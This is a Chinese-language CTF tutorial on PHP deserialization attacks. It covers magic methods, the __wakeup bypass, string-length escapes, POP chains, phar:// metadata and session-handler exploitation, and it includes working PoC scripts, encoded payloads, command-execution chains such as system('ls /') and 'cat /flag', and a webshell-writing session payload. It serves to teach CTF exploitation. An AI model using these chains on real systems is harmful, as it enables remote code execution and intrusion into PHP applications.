<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    PHP反序列化新手入門學習總結

    VSole2023-01-29 09:47:27

    最近寫了點反序列化的題,才疏學淺,希望對CTF新手有所幫助,有啥錯誤還請大師傅們批評指正。

    php反序列化簡單理解

    首先我們需要理解什么是序列化,什么是反序列化?

    PHP序列化:serialize()

    序列化是將變量或對象轉換成字符串的過程,用于存儲或傳遞 PHP 的值的過程中,同時不丟失其類型和結構。

    而PHP反序列化:unserialize()

    反序列化是將字符串轉換成變量或對象的過程

    通過序列化與反序列化我們可以很方便的在PHP中進行對象的傳遞。本質上反序列化是沒有危害的。但是如果用戶對數據可控那就可以利用反序列化構造payload攻擊。這樣說可能還不是很具體,舉個列子比如你網購買一個架子,發貨為節省成本,是拆開給你發過去,到你手上,然后給你說明書讓你組裝,拆開給你這個過程可以說是序列化,你組裝的過程就是反序列化

    說這么多不如直接一點測試一下

    php序列化的字母標識

    a - array

    b - boolean

    d - double

    i - integer

    o - common object

    r - reference

    s - string

    C - custom object

    O - class

    N - null

    R - pointer reference

    U - unicode string

    N - NULL

    測試一下

    php 
    class TEST{ 
     public $test1="11"; 
     private $test2="22"; 
     protected $test3="33"; 
     public function test4() 
     { 
     echo $this->test1; 
     } 
    } 
    $a=new TEST(); 
    echo serialize($a); 
    //O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}
    

    O代表類,然后后面4代表類名長度,接著雙引號內是類名

    然后是類中變量的個數:{類型:長度:"值";類型:長度:"值"...以此類推}

    protected 和private其實是有不可打印字符的,所以這里附上截圖

    從圖中可以看到有幾個不可打印字符,關于這個還有一些特別的地方,和具體放在了后邊寫

    有時候做題時為了防止傳參中有啥意外,一般就會urlencode一下

    什么是魔術方法?

    做php反序列化的題總會遇到魔術方法

    其實就是一種特殊方法當對對象執行某些操作時會覆蓋 PHP 的默認操作

    舉個例子如下,這里用常見的construct和destruct魔術方法,其實就是構造函數和析構函數

    php 
    class A{ 
     public $a="這里是__construct"; 
     public function __construct() 
     { 
     echo $this->a; 
     } 
     public function __destruct() 
     { 
     echo $this->a="這里是__destruct"; 
     } 
    } 
    $a=new A(); 
    

    //輸出這里是construct這里是destruct

    后邊的題中也會給一些測試魔術方法的例子

    想買給出魔術方法觸發的情況,這對解題有很大幫助

    __construct 當一個對象創建時被調用,

    __destruct 當一個對象銷毀時被調用,

    __toString 當一個對象被當作一個字符串被調用。

    __wakeup() 使用unserialize時觸發

    __sleep() 使用serialize時觸發

    __destruct() 對象被銷毀時觸發

    __call() 對不存在的方法或者不可訪問的方法進行調用就自動調用

    __callStatic() 在靜態上下文中調用不可訪問的方法時觸發

    __get() 用于從不可訪問的屬性讀取數據

    __set() 在給不可訪問的(protected或者private)或者不存在的屬性賦值的時候,會被調用

    __isset() 在不可訪問的屬性上調用isset()或empty()觸發

    __unset() 在不可訪問的屬性上使用unset()時觸發

    __toString() 把類當作字符串使用時觸發,返回值需要為字符串

    __invoke() 當腳本嘗試將對象調用為函數時觸發

    光看還是了解不夠,具體還得到親自嘗試才可以,下面我做了一些CTF題,在此分享給大家

    簡單的反序列化題

    題目來自[SWPUCTF 2021 新生賽]ez_unserialize

    php 
    error_reporting(0); 
    show_source("cl45s.php"); 
    class wllm{ 
    public $admin; 
    public $passwd; 
    public function __construct(){ 
    $this->admin ="user"; 
    $this->passwd = "123456"; 
    } 
    public function __destruct(){ 
    if($this->admin === "admin" && $this->passwd === "ctf"){ 
    include("flag.php"); 
    echo $flag; 
    }else{ 
    echo $this->admin; 
    echo $this->passwd; 
    echo "Just a bit more!"; 
    } 
    } 
    } 
    $p = $_GET['p']; 
    unserialize($p); 
    ?>
    

    construct方法里admin被賦值為user,passwd被賦值為123456,而在destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"這個式子成立才能輸出flag

    php反序列化是可以控制類方法的屬性但不能改類方法的代碼

    于是我們直接更改就行,

    php 
    class wllm{ 
     public $admin; 
     public $passwd; 
     public function __construct(){ 
     $this->admin ="admin"; 
     $this->passwd = "ctf"; 
     } 
    } 
    $a=new wllm(); 
    echo urlencode(serialize($a)); 
    ?>
    

    然后傳參就行了,一般這里要url編碼一下,規避不可打印字符,前面我們提到private protected 屬性 序列化出來會有不可打印字符。

    __wakeup繞過

    這個其實是個CVE,CVE-2016-7124

    影響版本php5<5.6.25,php7<7.010

    簡單描述就是序列化字符串中表示對象屬性個數的值大于真實的屬性個數時會跳過__wakeup的執行

    而魔術方法__wakeup執行unserialize()時,先會調用這個函數

    寫個代碼本地測試一下

    php 
    class A{ 
     public $a; 
     public function __construct() 
     { 
     $this->a="觸發__construct"; 
     } 
     public function __wakeup() 
     { 
     $this->a="觸發__wakeup"; 
     } 
     public function __destruct() 
     { 
     echo $this->a; 
     } 
    } 
    $a=new A(); 
    echo serialize($a);
    

    O:1:"A":1:{s:1:"a";s:17:"觸發__construct";}先正常序列化一下

    反序列化一下,輸出觸發__wakeup

    O:1:"A":2:{s:1:"a";s:17:"觸發__construct";} 把對象個數改為2

    觸發__construct,繞過了wakeup

    [極客大挑戰 2019]PHP __wakeup()繞過
    php 
    include 'class.php'; 
    $select = $_GET['select']; 
    $res=unserialize(@$select);
    php 
    include 'flag.php'; 
    error_reporting(0); 
    class Name{ 
     private $username = 'nonono'; 
     private $password = 'yesyes'; 
     public function __construct($username,$password){ 
     $this->username = $username; 
     $this->password = $password; 
     } 
     function __wakeup(){ 
     $this->username = 'guest'; 
     } 
     function __destruct(){ 
     if ($this->password != 100) { 
     echo "
    NO!!!hacker!!!
    "; 
     echo "You name is: "; 
     echo $this->username;echo "
    "; 
     echo "You password is: "; 
     echo $this->password;echo "
    "; 
     die(); 
     } 
     if ($this->username === 'admin') { 
     global $flag; 
     echo $flag; 
     }else{ 
     echo "
    hello my friend~~
    sorry i can't give you the flag!"; 
     die(); 
     } 
     } 
    }
    

    看源碼我們需要password=100,username=admin,但反序列化過程中wakeup方法里會把username賦值為guest;

    這里我們先生成一個對象,然后序列化并Url編碼,接著把它反序列化,var_dump一下看看

    //$a=new Name('admin','100'); 
    //echo urlencode(serialize($a)); 
    //echo serialize($a); 
    $b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D"; 
    var_dump(unserialize(urldecode($b)));
    

    那么修改對象個數為大于2

    O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

    得到flag

    POC

    php 
     
    class Name{ 
     private $username = 'admin'; 
     private $password = '100'; 
     public function __construct($username,$password){ 
     $this->username = $username; 
     $this->password = $password; 
     } 
    } 
    $a=new Name('admin','100'); 
    echo urlencode(serialize($a)); 
    //echo serialize($a); 
    //O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D 
    ?>
    

    反序列化逃逸問題

    逃逸問題的本質是改變序列化字符串的長度,導致反序列化漏洞

    所以會有兩種情況,一種是由長變短,一種是由短變長

    由長變短

    自己隨手寫個題測試下

    php 
    highlight_file(__FILE__); 
    class A 
    { 
     public $a; 
     public $b; 
     public $c; 
     public function __construct() 
     { 
     $this->a=$_GET['a']; 
     $this->b="noflag"; 
     $this->c=$_GET['c']; 
     } 
     public function check() 
     { 
     if ($this->b==="123") 
     { 
     echo "flag{123dddd}"; 
     } 
     else if ($this->a==="test") 
     { 
     echo "give you flag"; 
     } 
     else 
     { 
     echo "no flag"; 
     } 
     } 
     public function __destruct() 
     { 
     $this->check(); 
     } 
    } 
    $a=new A(); 
    $b=serialize($a); 
    $c=str_replace("aa","b",$b); 
    unserialize($c);
    

    這里本地寫一個測試簡單利用下,學會這個逃逸思路即可

    $b=serialize($a); 
    echo $b; 
    $c=str_replace("aa","b",$b); 
    echo($c); 
    //O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";} 
    //O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}
    

    這里測試一下,很明顯可以看見4個aaaa 變成了兩個b,但s:4依然是四個字符串,a的值就相當于是從aaaa變成了bb";這樣,相當于往后吞噬掉了兩位,而這個題需要$b為123才能給flag,

    $this->b="noflag";而這個已經給b賦值了,我們序列化出來可以看到s:1:"b";s:6:"noflag",之前可以看出,利用這個過濾可以吞噬掉后邊的序列化,那豈不是可以把后邊的都吞噬掉,然后根據序列化格式補全,依然可以正常的反序列化出來,把$b的值給覆蓋掉

    開始構造

    然后計算要吞噬掉多少位

    print(len('";s:1:"b";s:6:"noflag";s:1:"c";s:3:')) 
    print(36*'aa') 
    //35 
    //aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

    35個長度,構造出來肯定超過十個了,所以s:1的1會變成十位數,多出一位,所以要+1,用36個aa

    a=36個aa,c=;s:1:"b";s:3:"123

    這樣構造出來為

    O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}
    bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:
    print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:'))
    

    剛好為72個,成功反序列化,得到flag

    由短變長

    題目來自ctfshowWEB262

    index.php
    php 
    error_reporting(0); 
    class message{ 
    public $from; 
    public $msg; 
    public $to; 
    public $token='user'; 
    public function __construct($f,$m,$t){ 
    $this->from = $f; 
    $this->msg = $m; 
    $this->to = $t; 
    } 
    } 
    $f = $_GET['f']; 
    $m = $_GET['m']; 
    $t = $_GET['t']; 
    if(isset($f) && isset($m) && isset($t)){ 
    $msg = new message($f,$m,$t); 
    $umsg = str_replace('fuck', 'loveU', serialize($msg)); 
    setcookie('msg',base64_encode($umsg)); 
    echo 'Your message has been sent'; 
    } 
    

    highlight_file(FILE);

    從題目注釋里可以找到message.php

    message.php源碼

    php 
    highlight_file(__FILE__); 
    include('flag.php'); 
    class message{ 
    public $from; 
    public $msg; 
    public $to; 
    public $token='user'; 
    public function __construct($f,$m,$t){ 
    $this->from = $f; 
    $this->msg = $m; 
    $this->to = $t; 
    } 
    } 
    if(isset($_COOKIE['msg'])){ 
    $msg = unserialize(base64_decode($_COOKIE['msg'])); 
    if($msg->token=='admin'){ 
    echo $flag; 
    } 
    }
    

    很明顯,要想得到flag要把token值更改為admin

    但是正常反序列化,字符串個數是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是這里fuck被替換為loveU,四個字符被替換成五個字符,簡單演示一下

    php 
    class test 
    { 
     public $username="fuckfuck"; 
     public $password; 
    } 
    $a=new test(); 
    //echo serialize($a); 
    echo str_replace('fuck','loveU',serialize($a)); 
    //O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;} 
    //O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;}
    

    可以很明顯的看出來,s:8字符串應該是8個,替換后變為10個,因為有兩個fuck,這樣還看不出來什么,如果我們把多的字符串改為";s:5:"token";s:5:"admin";}而此時后面的";s:5:"token";s:4:"user";}這個就無效了

    因為php在反序列化時,底層代碼是以;作為字段的分隔,以}作為結尾,并且是根據長度判斷內容的 ,同時反序列化的過程中必須嚴格按照序列化規則才能成功實現反序列化

    偽造的序列化字符串變成真的了,偽造的序列化字符串長度為27,loveU比fuck多一位

    那么需要27個fuck就行

    payload

    ?f=1

    &m=1

    &t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

    然后訪問message.php即可 當然這個有非預期解,直接修改token值寫到cookie里就行,不過關鍵是了解到反序列化字符串逃逸問題的思路

    POP鏈構造

    做這種題關鍵是php魔術方法,構造PHP先找到頭部和尾部,頭部就是用戶可控的地方,也就是可以傳入參數的地方,然后找尾部,比如關鍵代碼,eval,file_put_contents這種,然后從尾部開始推導,根據魔術方法的特性,一步一步往上觸發,根據下面的題,來學習下

    [SWPUCTF 2021 新生賽]pop

    題目源碼

    php 
    error_reporting(0); 
    show_source("index.php"); 
    class w44m{ 
    private $admin = 'aaa'; 
    protected $passwd = '123456'; 
    public function Getflag(){ 
    if($this->admin === 'w44m' && $this->passwd ==='08067'){ 
    include('flag.php'); 
    echo $flag; 
    }else{ 
    echo $this->admin; 
    echo $this->passwd; 
    echo 'nono'; 
    } 
    } 
    } 
    class w22m{ 
    public $w00m; 
    public function __destruct(){ 
    echo $this->w00m; 
    } 
    } 
    class w33m{ 
    public $w00m; 
    public $w22m; 
    public function __toString(){ 
    $this->w00m->{$this->w22m}(); 
    return 0; 
    } 
    } 
    $w00m = $_GET['w00m']; 
    unserialize($w00m); 
    ?>
    

    POP鏈入手,先找關鍵代碼,然后推斷

    需要admin為w44m,passwd為08067 才能得到flag

    if($this->admin === 'w44m' && $this->passwd ==='08067'){

    echo $flag;

    發現可以利用$this->w00m->{$this->w22m}();

    這個地方,修改w22m=getflag,那么這個地方就有getflag()函數了

    在類w22m中 方法__destruct中echo $this->w00m;echo了一個對象,會觸發tostring方法

    前面魔術方法提到

    __toString 當一個對象被當作一個字符串被調用。這樣的話我們便可以利用to_Sting方法里面的代碼了,傳參點是w00m,

    鏈子構造為 w22m::__destruct->w33m::toString->w44m::getflag

    poc如下,這里要用urlencode,因為我們前面提到private和protected生產序列化有不可見字符

    php 
    class w44m{ 
     private $admin = 'w44m'; 
     protected $passwd = '08067'; 
    } 
    class w22m{ 
     public $w00m; 
     public function __destruct(){ 
     echo $this->w00m; 
     } 
    } 
    class w33m{ 
     public $w00m=""; 
     public $w22m="getflag"; 
     public function __toString(){ 
     $this->w00m->{$this->w22m}(); 
     return 1; 
     } 
    } 
    $a=new w22m(); 
    $a->w00m=new w33m(); 
    $a->w00m->w00m=new w44m(); 
    echo urlencode( serialize($a)); 
    ?>
    
    [NISACTF 2022]babyserialize
    php 
    include "waf.php"; 
    class NISA{ 
    public $fun="show_me_flag"; 
    public $txw4ever; 
    public function __wakeup() 
    { 
    if($this->fun=="show_me_flag"){ 
    hint(); 
    } 
    } 
    function __call($from,$val){ 
    $this->fun=$val[0]; 
    } 
    public function __toString() 
    { 
    echo $this->fun; 
    return " "; 
    } 
    public function __invoke() 
    { 
    checkcheck($this->txw4ever); 
    @eval($this->txw4ever); 
    } 
    } 
    class TianXiWei{ 
    public $ext; 
    public $x; 
    public function __wakeup() 
    { 
    $this->ext->nisa($this->x); 
    } 
    } 
    class Ilovetxw{ 
    public $huang; 
    public $su; 
    public function __call($fun1,$arg){ 
    $this->huang->fun=$arg[0]; 
    } 
    public function __toString(){ 
    $bb = $this->su; 
    return $bb(); 
    } 
    } 
    class four{ 
    public $a="TXW4EVER"; 
    private $fun='abc'; 
    public function __set($name, $value) 
    { 
    $this->$name=$value; 
    if ($this->fun = "sixsixsix"){ 
    strtolower($this->a); 
    } 
    } 
    } 
    if(isset($_GET['ser'])){ 
    @unserialize($_GET['ser']); 
    }else{ 
    highlight_file(__FILE__); 
    } 
    //func checkcheck($data){ 
    // if(preg_match(......)){ 
    // die(something wrong); 
    // } 
    //} 
    //function hint(){ 
    // echo "......."; 
    // die(); 
    //} 
    ?>
    查看了一下提示發現什么也沒有
    if(isset($_GET['ser'])){@unserialize($_GET['ser']);
    這是頭部
    這是尾部
    public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);
    }
    

    從__invoke()這里開始觸發

    __invoke() 當腳本嘗試將對象調用為函數時觸發

    return $bb()而這里有一個函數調用

    那么$bb是class Nisa的對象就會調用 __invoke

    觸發$bb要調用 __toString()

    而__toString()是

    當一個對象被當作一個字符串被調用。

    找類似echo 這種代碼,而這里有個strtolower

    strtolower是在set方法里的

    __set觸發

    在給不可訪問的(protected或者private)或者不存在的屬性賦值的時候,會被調用

    在four類的中有private $fun='abc';

    Ilovetxw類中的__call方法訪問了fun這個變量

    function __call($from,$val){ 
     $this->fun=$val[0]; 
    }
    

    而__call方法

    對不存在的方法或者不可訪問的方法進行調用就自動調用

    TianXiWei類中的wakeup會觸發call

    $this->ext->nisa($this->x); nisa()這個方法并不存在

    這里詳細說下

    php 
    class nisa 
    { 
     public $b=""; 
    } 
    class TianXiWei{ 
    public $ext; 
    public $x; 
    public function __wakeup() 
    { 
    $this->ext->nisa($this->x); 
    } 
    } 
    class test 
    { 
     public $a =""; 
     public function __call($a,$b) 
     { 
     echo "call"; 
     } 
    } 
    $a=new TianXiWei(); 
    $a->ext=new test(); 
    //echo urlencode(serialize($a)); 
    echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;} 
    //echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}
    

    wakeup方法反序列化會觸發,而里面nisa方法并不存在,$a->ext=new test()這樣會觸發到call,在本地測試的時候這樣調用會echo call,另外我們可以看出序列化$a和$->ext是不一樣的結果

    鏈子很清晰了

    TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke
    POC
    php 
    class NISA 
    { 
     public $fun = ""; 
     public $txw4ever = "sYstem('ls /');";//有過濾,大小寫繞過 
    } 
    class TianXiWei{ 
     public $ext; 
     public $x; 
    } 
    class Ilovetxw{ 
     public $huang; 
     public $su; 
    } 
    class four{ 
     public $a="TXW4EVER"; 
     private $fun='abc'; 
    } 
    $a=new TianXiWei();//從這里下手觸發__wakeup 
    $a->ext=new Ilovetxw();//觸發__call 
    $a->ext->huang=new four();//觸發__set 
    $a->ext->huang->a=new Ilovetxw();//觸發__tosrting 
    $a->ext->huang->a->su=new NISA();//觸發__invoke 
    echo urlencode(serialize($a));
    

    相信到這里,做這種題已經有一定思路了,不要著急,找到方向,然后一步一步去構造

    phar反序列化

    單的理解phar反序列化

    phar是什么?

    phar是php提供的一類文件的后綴名稱,也是php偽協議的一種。

    phar可以干什么?

    將多個php文件合并成一個獨立的壓縮包,相對獨立

    不用解壓到硬盤就可以運行php腳本

    支持web服務器和命令行運行

    注意要將php.ini中的phar.readonly選項設置為Off,否則無法生成phar文件

    phar文件的的結構

    一個phar文件通常由四部分組成,

    • a stub:可以理解為一個標志,格式為xxx,前面內容不限,但必須以__HALT_COMPILER();?>來結尾,否則phar擴展將無法識別這個文件為phar文件。
    • a manifest describing the contents:phar文件本質上是一種壓縮文件,其中每個被壓縮文件的權限、屬性等信息都放在這部分。這部分還會以序列化的形式存儲用戶自定義的meta-data,這是上述攻擊手法最核心的地方。
    • the file contents:被壓縮文件的內容。這里不是重點,內容不影響
    • [optional] a signature for verifying Phar integrity (phar file format only):簽名,放在文件末尾
    php 
    class Test {//自定義 
    } 
    @unlink("phar.phar"); 
    $phar = new Phar("phar.phar"); //后綴名必須為phar 
    $phar->startBuffering(); 
    $phar->setStub(""); //設置stub 
    $o = new Test(); 
    $phar->setMetadata($o); //將自定義的meta-data存入manifest 
    $phar->addFromString("test.txt", "test"); //添加要壓縮的文件 
    //簽名自動計算 
    $phar->stopBuffering(); 
    ?>
    

    生成一個phar.phar文件

    拉進010分析

    可以清楚看到一個標識符,一個序列化,一個文件名

    有序列化數據必然會有反序列化操作 ,php一大部分的文件系統函數 通過phar://偽協議解析phar文件時,都會將meta-data進行反序列化 ,受影響的函數如下

    is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file
    php 
    highlight_file(__FILE__); 
    class Test {//自定義 
     public $name='phpinfo();'; 
    } 
    $phar=new phar('rce.phar'); 
    $phar->startBuffering(); 
    $phar->setStub(""); 
    $o=new Test(); 
    $phar->setMetadata($o); 
    $phar->addFromString("flag.txt","flag");//添加要壓縮的文件 
    //簽名自動計算 
    $phar->stopBuffering(); 
    ?>
    

    這里用file_get_contents測試下

    php 
    class test{ 
     public $name=''; 
     public function __destruct() 
     { 
     eval($this->name); 
     } 
    } 
    echo file_get_contents('phar://rce.phar/flag.txt'); 
    ?>
    

    漏洞利用條件

    1. phar文件要能夠上傳到服務器端。
    2. 要有可用的魔術方法作為“跳板”。
    3. 文件操作函數的參數可控,且:、/、phar等特殊字符沒有被過濾。

    姿勢

    compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt
    php://filter/read=convert.base64-encode/resource=phar://phar.phar
    

    可以用于文件上傳,有文件上傳頭限制,還可以這樣,例如GIF

    $phar->setStub(“GIF89a”.""); //設置stub 這樣可以生成一個phar.phar,修改后綴名為phar.gif

    [SWPUCTF 2021 新生賽]babyunser phar反序列化

    查看class.php獲取源碼

    php 
    class aa{ 
     public $name; 
     public function __construct(){ 
     $this->name='aa'; 
     } 
     public function __destruct(){ 
     $this->name=strtolower($this->name); 
     } 
    } 
    class ff{ 
     private $content; 
     public $func; 
     public function __construct(){ 
     $this->content="$_POST[1]);?>"; 
     } 
     public function __get($key){ 
     $this->$key->{$this->func}($_POST['cmd']); 
     } 
    } 
    class zz{ 
     public $filename; 
     public $content='surprise'; 
     public function __construct($filename){ 
     $this->filename=$filename; 
     } 
     public function filter(){ 
     if(preg_match('/^/|php:|data|zip|..//i',$this->filename)){ 
     die('這不合理'); 
     } 
     } 
     public function write($var){ 
     $filename=$this->filename; 
     $lt=$this->filename->$var; 
     //此功能廢棄,不想寫了 
     } 
     public function getFile(){ 
     $this->filter(); 
     $contents=file_get_contents($this->filename); 
     if(!empty($contents)){ 
     return $contents; 
     }else{ 
     die("404 not found"); 
     } 
     } 
     public function __toString(){ 
     $this->{$_POST['method']}($_POST['var']); 
     return $this->content; 
     } 
    } 
    class xx{ 
     public $name; 
     public $arg; 
     public function __construct(){ 
     $this->name='eval'; 
     $this->arg='phpinfo();'; 
     } 
     public function __call($name,$arg){ 
     $name($arg[0]); 
     } 
    }
    php 
    error_reporting(0); 
    $filename=$_POST['file']; 
    if(!isset($filename)){ 
     die(); 
    } 
    $file=new zz($filename); 
    $contents=$file->getFile(); 
    ?> 
    <br> 
    <textarea class="file_content" type="text" value=php echo "
    ".$contents;?>
    

    構造鏈子

    先找到關鍵的代碼$this->$key->{$this->func}($_POST['cmd']);,通過這個可以構造命令執行,所以要想辦法觸發__get($key),

    __get() 用于從不可訪問的屬性讀取數據,ff類的 private $content;是不可訪問的屬性

    訪問content可以觸發get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower這個函數之前提到,可以觸發tostring,利用它去觸發zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去構造method=write&var=content,

    aa::destruct()->zz::toString()->zz::write->xx->ff::__get()

    看著好奇怪,為什么要用write去這樣鉤爪,因為__get()觸發需要,構造write函數進行訪問content成員,不僅要用這個屬性去new一個對象,還要對它進行訪問

    如下代碼進行測試

    php 
    class test 
    { 
     private $a; 
     public $b; 
     public function __construct($a,$b) 
     { 
     $this->a="aaa"; 
     $this->b="bbb"; 
     } 
     public function __get($name) 
     { 
     // TODO: Implement __get() method. 
     $this->a="__get"; 
     $this->b="111"; 
     } 
     public function __destruct() 
     { 
     echo $this->a; 
     echo $this->b; 
     } 
    } 
    $a =new test("s","s"); 
    //echo $a->a; 
    $b=serialize($a); 
    unserialize($b);
    

    注釋掉echo 輸出是aaabbbaaabbb

    去掉注釋輸出是get111get111

    如此那么構造POP鏈子

    php 
    class aa{ 
     public $name; 
    } 
    class ff{ 
     private $content; 
     public $func; 
     public function __construct(){ 
     $this->content=new xx();//這里New xx 
     } 
    } 
    class zz{ 
     public $filename; 
     public $content; 
    } 
    class xx 
    { 
     public $name; 
     public $arg; 
    } 
    $a=new aa(); 
    $c=new ff(); 
    $a->name=new zz(); 
    $c->func="system"; 
    $a->name->filename=$c; 
    $phar = new Phar("flag.phar"); //后綴名必須為phar 
    $phar->startBuffering(); 
    $phar->setStub(""); //設置stub 
    //$o = new Test(); 
    $phar->setMetadata($a); //將自定義的meta-data存入manifest 
    $phar->addFromString("test.txt", "test"); //添加要壓縮的文件 
    //簽名自動計算 
    $phar->stopBuffering();
    

    上傳之后使用phar協議讀取

    file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag

    session反序列化

    session與cookie很像,都是客戶端與服務端會話時,用戶的標識, PHP session 解決了這個問題,它通過在服務器上存儲用戶信息以便隨后使用(比如用戶名稱、購買商品等)。然而,會話信息是臨時的,在用戶離開網站后將被刪除。如果您需要永久存儲信息,可以把數據存儲在數據庫中。

    而session是以文件方式存儲的

    直接找一道題做做

    題目來自ctfshowWEB263

    打開是一個登錄頁面,用目錄掃描掃一下,這里我用的是dirsearch

    dirsearch -u "http://4b00e046-35c4-458d-93e7-e3ff83049288.challenge.ctf.show/" -e*

    存在源碼泄露,訪問www.zip,下載下來源碼,關鍵代碼

    index.php源碼

    */ 
     error_reporting(0); 
     session_start(); 
     //超過5次禁止登陸 
     if(isset($_SESSION['limit'])){ 
     $_SESSION['limti']>5?die("登陸失敗次數超過限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); 
     $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); 
     }else{ 
     setcookie("limit",base64_encode('1')); 
     $_SESSION['limit']= 1; 
     } 
    ?>
    

    check.php源碼

    php 
    /* 
    # -*- coding: utf-8 -*- 
    # @Author: h1xa 
    # @Date: 2020-09-03 16:59:10 
    # @Last Modified by: h1xa 
    # @Last Modified time: 2020-09-06 19:15:38 
    # @email: h1xa@ctfer.com 
    # @link: https://ctfer.com 
    */ 
    error_reporting(0); 
    require_once 'inc/inc.php'; 
    $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']); 
    if($GET){ 
     $data= $db->get('admin', 
     [ 'id', 
     'UserName0' 
     ],[ 
     "AND"=>[ 
     "UserName0[=]"=>$GET['u'], 
     "PassWord1[=]"=>$GET['pass'] //密碼必須為128位大小寫字母+數字+特殊符號,防止爆破 
     ] 
     ]); 
     if($data['id']){ 
     //登陸成功取消次數累計 
     $_SESSION['limit']= 0; 
     echo json_encode(array("success","msg"=>"歡迎您".$data['UserName0'])); 
     }else{ 
     //登陸失敗累計次數加1 
     $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1); 
     echo json_encode(array("error","msg"=>"登陸失敗")); 
     } 
    }
    inc.php中有一個這個
    ini_set('session.serialize_handler', 'php');
    而session存儲格式(序列化)其中有這兩種
    ini_set('session.serialize_handler', 'php');
    ini_set('session.serialize_handler', ' php_serialize ');
    

    測試一下看這兩個什么區別

    php 
    ini_set('session.serialize_handler','php'); 
    session_start(); 
    class test1{ 
     public $a="test"; 
    } 
    $a=new test1(); 
    $_SESSION['user']=$a;
    

    在tmp下找到這個文件打開看

    user|O:5:"test1":1:{s:1:"a";s:4:"test";}
    php 
    ini_set('session.serialize_handler','php_serialize'); 
    session_start(); 
    class test1{ 
     public $a="test"; 
    } 
    $a=new test1(); 
    $_SESSION['user']=$a;
    a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}}
    

    兩種方式的區別主要是“|”符號,在php機制中,只會序列化“|”符號后面的內容

    inc.php中關鍵代碼

    class User{ 
     public $username; 
     public $password; 
     public $status; 
     function __construct($username,$password){ 
     $this->username = $username; 
     $this->password = $password; 
     } 
     function setStatus($s){ 
     $this->status=$s; 
     } 
     function __destruct(){ 
     file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s')); 
     } 
    }
    function __destruct(){
    file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));
    }
    

    可以利用這個函數寫一句話木馬

    而session_start() 函數會解析 session 文件,就相當于進行了反序列化,session值我們是可控的,這樣的話反序列化有了,只要構造出序列化字符串觸發 User類 的 __destruct方法就可以了

    php 
    class User 
    { 
     public $username; 
     public $password; 
     function __construct($username, $password) 
     { 
     $this->username = $username; 
     $this->password = $password; 
     } 
    } 
    $a=new User('1.php',''); 
    echo base64_encode("|".serialize($a));
    

    訪問的時候文件名是log-拼接,所以是log-1.php,index.php里面三元條件運算符:$SESSION['limti']>5?die("登陸失敗次數超過限制"):$SESSION['limit']=base64_decode($_COOKIE['limit')

    第一個式子不成立,則執行$SESSION['limit']=base64_decode($COOKIE['limit')

    ,因為有base64_decode,所以這里我們還有base64_encode一下

    抓包改limit值

    然后發包,接著訪問check.php 實現反序列化shell的寫入

    然后變更請求方法,注意直接右鍵選擇變更POST請求

    tricks總結

    16進制繞過字符過濾
    //O:1:"A":1:{s:2:"ab";s:4:"test";} 
    //O:1:"A":1:{S:2:"61b";s:4:"test";}//s改為大寫S會被當成16進制解析 //61是a的16進制
    
    php類名對大小寫不敏感

